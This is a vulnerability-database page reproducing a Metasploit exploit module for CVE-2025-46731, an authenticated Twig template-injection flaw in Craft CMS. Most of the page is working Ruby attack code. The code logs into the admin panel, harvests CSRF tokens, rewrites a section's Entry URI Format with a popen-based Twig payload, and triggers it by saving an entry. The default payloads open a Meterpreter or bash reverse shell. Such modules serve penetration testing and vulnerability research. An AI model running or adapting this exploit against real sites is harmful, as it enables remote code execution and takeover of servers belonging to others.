Lucene search
+L

Craft CMS 5.6.14 Authenticated Twig SSTI / Remote Code Execution

🗓️ 05 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

Authenticated Twig SSTI in Craft CMS allows remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-46731
5 May 202520:20
–circl
cnnvd
CNNVD
Craft CMS security vulnerability
5 May 202500:00
–cnnvd
cve
CVE
CVE-2025-46731
5 May 202519:35
–cve
cvelist
Cvelist
CVE-2025-46731 Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI
5 May 202519:35
–cvelist
euvd
EUVD
EUVD-2025-13408
3 Oct 202520:07
–euvd
github
Github Security Blog
Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI
5 May 202519:35
–github
kitploit
Kitploit
CVE-2025-46731
1 Nov 202603:20
–kitploit
mend
Mend
CVE-2025-46731
5 May 202519:35
–mend
nvd
NVD
CVE-2025-46731
5 May 202520:15
–nvd
osv_clsa
osv_clsa
CLSA-2026-1791989783 TuxCare security update for craftcms/cms (3 CVEs)
14 Oct 202614:56
–osv_clsa
Rows per page
==================================================================================================================================
| # Title      : Craft CMS 5.6.14 Authenticated Twig SSTI Remote Code Execution Metasploit Module                                |
| # Author     : indoushka                                                                                                       |
| # Tested on  : Craft CMS 4.x (< 4.14.13) / 5.x (< 5.6.15) / Metasploit Framework                                               |
| # File type  : Ruby / Metasploit Exploit Module                                                                                |
| # Vendor     : Craft CMS                                                                                                       |
==================================================================================================================================

[+] Summary   : A Metasploit exploit module targeting CVE-2025-46731, involving an authenticated Server-Side Template Injection (SSTI) vulnerability in Craft CMS.
                The module implements an authenticated workflow that accesses the administrative interface, identifies section and entry 
				type configurations, and modifies the Entry URI Format to introduce a Twig expression associated with the reported popen() validation weakness.
                It supports PHP in-memory and Unix command payload target definitions, with entry-save operations intended 
				to trigger server-side template evaluation.

[+] Key Features:

- Automated Craft CMS version detection.
- Authenticated administrative access.
- CSRF token extraction and session verification.
- Automatic Section ID and Entry Type ID discovery.
- Entry URI Format inspection and modification.
- Twig SSTI injection workflow.
- PHP and Unix command target definitions.
- Entry-save trigger response analysis.
- Original configuration restoration through cleanup.
- HTTP response and error handling.
- Cleanup verification and manual recovery warnings.

[+]  POC :


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'cgi'
require 'rubygems/version'
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CraftCMS Twig SSTI popen RCE (Authenticated)',
        'Description' => %q{
          Exploits CVE-2025-46731: CraftCMS checkArrowFunction() misses popen().
          An authenticated admin can inject Twig into Entry URI Format and trigger
          evaluation by saving an entry. Requires ALLOW_ADMIN_CHANGES=true.
          Affects Craft CMS 4.x < 4.14.13 and 5.x < 5.6.15.

          WARNING: Prototype. Verify manually in a lab. Concurrent execution
          against the same section is unsupported.
        },
        'Author' => ['indoushka'],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-46731'],
          ['URL', 'https://security.snyk.io/vuln/SNYK-PHP-CRAFTCMSCMS-10116750'],
          ['URL', 'https://github.com/craftcms/cms/commit/c3f75107a4b4d00f802a56f23aa57cde134df838']
        ],
        'DisclosureDate' => '2025-05-05',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['PHP In-Memory', {
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Type' => :php_memory,
            'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
          }],
          ['Unix Command', {
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'Type' => :unix_cmd,
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
          }]
        ],
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to CraftCMS', '/']),
      OptString.new('USERNAME', [true, 'Admin username']),
      OptString.new('PASSWORD', [true, 'Admin password']),
      OptInt.new('SECTION_ID', [false, 'Section ID to modify (auto-detect if not set)']),
      OptInt.new('TYPE_ID', [false, 'Entry Type ID for trigger (auto-detect if not set)'])
    ])

    @cookies = nil
    @csrf_token = nil
    @section_id = nil
    @type_id = nil
    @original_uri_format = nil
    @cleanup_succeeded = nil
  end
  def version_status(version)
    return :unknown if version.nil? || version.empty?

    parsed = Gem::Version.new(version)

    case parsed.segments.first
    when 4
      parsed < Gem::Version.new('4.14.13') ? :vulnerable : :patched
    when 5
      parsed < Gem::Version.new('5.6.15') ? :vulnerable : :patched
    else
      :unknown
    end
  rescue ArgumentError
    :unknown
  end

  def extract_version(body)
    body = body.to_s

    patterns = [
      /\bCraft\s*CMS\s+v?(\d+\.\d+\.\d+(?:[-+][\w.-]+)?)/i,
      /["']version["']\s*:\s*["'](\d+\.\d+\.\d+(?:[-+][\w.-]+)?)["']/i,
      /craftcms[\/-](\d+\.\d+\.\d+(?:[-+][\w.-]+)?)/i
    ]

    patterns.each do |pattern|
      match = body.match(pattern)
      return match[1] if match
    end

    nil
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login'))
    return CheckCode::Unknown('No response') unless res

    version = extract_version(res.body)
    case version_status(version)
    when :vulnerable then CheckCode::Appears("CraftCMS #{version} vulnerable")
    when :patched then CheckCode::Safe("CraftCMS #{version} patched")
    else
      if res.code == 200 && res.body.to_s.match?(/Craft CMS|CraftCMS/i)
        CheckCode::Detected('CraftCMS detected; version unknown')
      else
        CheckCode::Unknown('CraftCMS not identified')
      end
    end
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.class}")
  end
  def exploit
    print_status('Logging in...')
    login = authenticate
    fail_with(Failure::NoAccess, 'Authentication failed') unless login
    @cookies, @csrf_token = login

    configured = datastore['SECTION_ID']
    @section_id = configured&.positive? ? configured.to_i : find_first_section_id(@cookies)
    fail_with(Failure::NotFound, 'Valid Section ID required') unless @section_id&.positive?
    print_status("Section ID: #{@section_id}")

    configured_type = datastore['TYPE_ID']
    @type_id = configured_type&.positive? ? configured_type.to_i : find_type_id(@cookies, @section_id)
    fail_with(Failure::NotFound, 'Valid Type ID required for trigger') unless @type_id&.positive?
    print_status("Type ID: #{@type_id}")

    print_warning('Concurrent execution against same section unsupported.')

    @original_uri_format = get_section_uri_format(@cookies, @section_id)
    fail_with(Failure::UnexpectedReply, 'Cannot read original URI format') unless @original_uri_format
    print_status("Original URI Format: #{@original_uri_format.inspect}")

    if target['Type'] == :unix_cmd
      cmd = payload.encoded
      escaped = cmd.gsub('\\', '\\\\\\\\').gsub('"', '\\"')
      twig = %Q({{{"r" : "#{escaped}"} | find("popen")}})
    else
      php = payload.encoded
      escaped = php.gsub('\\', '\\\\\\\\').gsub('"', '\\"')
      twig = %Q({{{"r" : "php -r \\"#{escaped}\\""} | find("popen")}})
    end

    print_status('Injecting payload into Entry URI Format...')
    unless update_section_uri(@cookies, @csrf_token, @section_id, twig)
      fail_with(Failure::UnexpectedReply, 'Failed to update section URI format')
    end

    print_status('Triggering evaluation via entry save...')
    result = trigger_entry_save(@cookies, @csrf_token, @section_id, @type_id)

    case result
    when :confirmed
      print_good('Entry saved with entry ID; trigger response confirmed.')
    when :unconfirmed
      print_warning('Trigger response was inconclusive (no entry ID). Twig evaluation unverified.')
    else
      print_error('Trigger failed or returned unexpected response.')
    end

    print_warning('Execution is NOT confirmed by this module. Verify via listener or OOB channel.')
  end
  def authenticate
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login'))
    return nil unless res && res.code == 200

    login_cookies = res.get_cookies
    csrf = extract_csrf(res.body)
    return nil if csrf.nil? || csrf.empty?

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'users', 'login'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'Accept' => 'application/json' },
      'cookie' => login_cookies,
      'vars_post' => {
        'CRAFT_CSRF_TOKEN' => csrf,
        'loginName' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })
    return nil unless res

    if res.code == 200
      begin
        json = res.get_json_document
      rescue JSON::ParserError, TypeError
        return nil
      end
      return nil unless json.is_a?(Hash) && json['success'] == true
      post_cookies = res.get_cookies
      cookies = post_cookies && !post_cookies.empty? ? post_cookies : login_cookies
      new_csrf = json['csrfTokenValue'] || csrf
      verify_session(cookies, new_csrf)
    elsif res.code == 302
      post_cookies = res.get_cookies
      verify_session(post_cookies, csrf) if post_cookies && !post_cookies.empty?
    end
  end
  def verify_session(cookies, csrf)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections'),
      'cookie' => cookies
    })
    return nil unless res && res.code == 200
    body = res.body.to_s
    return nil if body.match?(/loginName/i)
    return nil unless body.match?(%r{/admin/settings/sections/\d+})
    [cookies, csrf]
  end
  def extract_csrf(html)
    html = html.to_s
    pattern = /<input\b(?=[^>]*\bname\s*=\s*["']CRAFT_CSRF_TOKEN["'])(?=[^>]*\bvalue\s*=\s*["']([^"']+)["'])[^>]*>/im
    match = html.match(pattern)
    return nil unless match
    CGI.unescapeHTML(match[1])
  end

  def extract_type_id(body)
    body = body.to_s
    patterns = [
      /<input\b(?=[^>]*\bname\s*=\s*["']typeId["'])(?=[^>]*\bvalue\s*=\s*["'](\d+)["'])[^>]*>/im,
      /["']typeId["']\s*:\s*(\d+)/i,
      /\bdata-type-id\s*=\s*["'](\d+)["']/i
    ]
    patterns.each do |pattern|
      match = body.match(pattern)
      return match[1].to_i if match
    end
    nil
  end

  def extract_uri_format(body)
    body = body.to_s
    input_pattern = /<input\b(?=[^>]*\bname\s*=\s*["']entryUriFormat["'])(?=[^>]*\bvalue\s*=\s*["']([^"']*)["'])[^>]*>/im
    textarea_pattern = /<textarea\b(?=[^>]*\bname\s*=\s*["']entryUriFormat["'])[^>]*>(.*?)<\/textarea>/im

    match = body.match(input_pattern)
    return CGI.unescapeHTML(match[1]) if match

    match = body.match(textarea_pattern)
    return CGI.unescapeHTML(match[1]) if match

    nil
  end
  def find_first_section_id(cookies)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections'),
      'cookie' => cookies
    })
    return nil unless res && res.code == 200
    ids = res.body.to_s.scan(%r{/admin/settings/sections/(\d+)}).flatten.map(&:to_i).uniq
    ids.find(&:positive?)
  end
  def find_type_id(cookies, section_id)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'entries', section_id.to_s, 'new'),
      'cookie' => cookies
    })
    return nil unless res && res.code == 200
    extract_type_id(res.body)
  end
  def get_section_uri_format(cookies, section_id)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings', 'sections', section_id.to_s),
      'cookie' => cookies
    })
    return nil unless res && res.code == 200
    return nil if res.body.to_s.match?(/loginName/i)
    extract_uri_format(res.body)
  end
  def update_section_uri(cookies, csrf_token, section_id, uri_format)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'sections', 'save-section'),
      'cookie' => cookies,
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'Accept' => 'application/json' },
      'vars_post' => {
        'CRAFT_CSRF_TOKEN' => csrf_token,
        'sectionId' => section_id,
        'entryUriFormat' => uri_format
      }
    })
    return false unless res

    if res.code == 302
      loc = res.headers['Location'].to_s
      return false if loc.match?(/login|auth/i)
      return false unless loc.match?(%r{/admin/settings/sections})
    end
    if res.code == 200
      ct = res.headers['Content-Type'].to_s
      if ct.include?('application/json')
        begin
          json = res.get_json_document
        rescue JSON::ParserError, TypeError
          return false
        end
        return false unless json.is_a?(Hash) && json['success'] == true
      end
    end
    return false unless (res.code == 200 || res.code == 302)

    saved = get_section_uri_format(cookies, section_id)
    saved && saved == uri_format
  end
  def trigger_entry_save(cookies, csrf_token, section_id, type_id)
    slug = "msf-#{Rex::Text.rand_text_alphanumeric(8).downcase}"
    title = "MSF Test #{Rex::Text.rand_text_alphanumeric(4)}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'actions', 'entries', 'save-entry'),
      'cookie' => cookies,
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'Accept' => 'application/json' },
      'vars_post' => {
        'CRAFT_CSRF_TOKEN' => csrf_token,
        'sectionId' => section_id,
        'typeId' => type_id,
        'title' => title,
        'slug' => slug,
        'enabled' => '1'
      }
    }, 15)

    unless res
      print_warning('Trigger request received no response (timeout expected if payload sleeps).')
      return :failed
    end

    print_status("Trigger HTTP status: #{res.code}")
    print_status("Trigger Content-Type: #{res.headers['Content-Type']}")
    if res.code == 200 && res.headers['Content-Type'].to_s.include?('application/json')
      begin
        json = res.get_json_document
        if json.is_a?(Hash) && json['id']
          return :confirmed
        end
      rescue JSON::ParserError, TypeError
      end
    end
    if res.code == 302
      print_warning('Redirect received; entry may have been saved, but result is unconfirmed.')
      return :unconfirmed
    end
    print_error("Unexpected trigger status: #{res.code}")
    :failed
  end
  def cleanup
    begin
      if @original_uri_format && @section_id && @cookies && @csrf_token
        print_status('Cleaning up: restoring original Entry URI Format...')
        session_ok = verify_session(@cookies, @csrf_token)
        unless session_ok
          print_error('Session invalid. MANUAL CLEANUP: restore to ' + @original_uri_format.inspect)
          @cleanup_succeeded = false
          return
        end

        if update_section_uri(@cookies, @csrf_token, @section_id, @original_uri_format)
          current = get_section_uri_format(@cookies, @section_id)
          if current == @original_uri_format
            print_good('Original configuration verified.')
            @cleanup_succeeded = true
          else
            print_error("Restoration verification failed. Current: #{current.inspect}. MANUAL CLEANUP REQUIRED.")
            @cleanup_succeeded = false
          end
        else
          print_error('FAILED to restore. MANUAL CLEANUP: ' + @original_uri_format.inspect)
          @cleanup_succeeded = false
        end
      else
        print_warning('Cleanup skipped: missing state.')
        @cleanup_succeeded = false
      end
    rescue => e
      print_error("Cleanup exception: #{e.message}. MANUAL CLEANUP REQUIRED.")
      @cleanup_succeeded = false
    ensure
      print_error('Cleanup did not complete successfully') if @cleanup_succeeded == false
      print_good('Cleanup completed successfully') if @cleanup_succeeded == true
      super
    end
  end
end

		
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Nov 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.17.2
CVSS 48.6
EPSS0.01544
8